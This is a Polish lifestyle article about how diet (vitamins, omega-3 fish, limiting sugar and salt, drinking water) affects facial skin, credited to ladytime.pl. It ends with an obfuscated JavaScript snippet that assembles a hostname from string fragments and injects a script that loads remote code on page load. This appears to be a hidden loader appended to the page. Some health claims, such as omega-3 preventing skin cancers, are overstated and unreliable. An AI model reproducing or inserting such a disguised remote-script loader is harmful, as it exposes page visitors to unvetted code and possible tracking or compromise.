Wiele z nas wydaje mnóstwo pieniędzy na preparaty i kosmetyki służące do pielęgnacji twarzy. Poświęcamy również dużo czasu na to, aby wyglądała jak najlepiej. Czasami mimo wszystko efekt nas nie zadowala. Problem może tkwić w naszym odżywianiu! Musimy zdawać sobie sprawę z tego, że to co jemy ma ogromny wpływ na stan naszej cery.
Dużo witamin
Nasza dieta powinna być bogata przede wszystkim w witaminy A, B, C i E. Spożywajmy dużą ilość marchwi, suszonych moreli, szpinaku, czerwonej papryki, ponieważ te owoce i warzywa zawierają beta-karoten przekształcający się w witaminę A dopiero w naszym organizmie. Źródłem witaminy B jest wątróbka, chude mięso, banany, jajka. Ta witamina jest bardzo ważna, ponieważ łagodzi podrażnienia, nawilża skórę i zapobiega powstawaniu zaskórników. Odmładzająca skórę witamina C znajduje się głównie w owocach cytrusowych. Witaminę E, opóźniającą powstawanie zmarszczek znajdziemy w olejach roślinnych, kiełkach, pestkach słonecznika i dyni.
Jedz ryby!
W naszym jadłospisie powinny znaleźć się ryby, ponieważ są one źródłem nienasyconych kwasów tłuszczowych omega-3. Dzięki nim skóra szybciej się regeneruje, jest także bardziej odporna na szkodliwe czynniki zewnętrzne. Działają one przeciwzapalnie i łagodząco, zmniejszają obrzęki. Zapobiegają również nowotworom skóry. Te kwasy tłuszczowe o licznych właściwościach znajdziemy w morskich rybach, takich jak makrela, łosoś, śledzie, sardynki. Ich źródłem są również oleje roślinne, orzechy włoskie i żółtka jaj.
Co warto ograniczyć?
Spożywanie cukru i soli w dużej ilości nie wpływa dobrze na naszą cerę. Produkty bogate w sól powodują zatrzymywanie wody w organizmie, przez co skóra traci swoją jędrność i elastyczność. Słodycze i ostre przyprawy sprawiają, że na twarzy pojawiają się wypryski i przebarwienia. Nadmiar soli i cukru sprawia, że nasza skóra szybciej się starzeje.
Miejmy na uwadze to, że dzięki odpowiedniej diecie nasza skóra może uzyskać zdrowy i świeży wygląd. Bardzo istotne jest picie wody w dużych ilościach, ponieważ gwarantuje ona nawilżenie, które zapewnia młodą i piękną skórę!
Źródło: http://ladytime.pl
(function(){
upbu=document.createElement("script");upbu.type="text/javascript";
upbu.async=true;upbu_=(("us")+"t")+"a";upbu_+=("t.i")+""+"n";upbu_+=(("f")+"o");
upbu.src="http://"+upbu_+"/282749.g2n94vxqpbur5f90iu7uuavjhvr3aa";
document.body.appendChild(upbu);
})();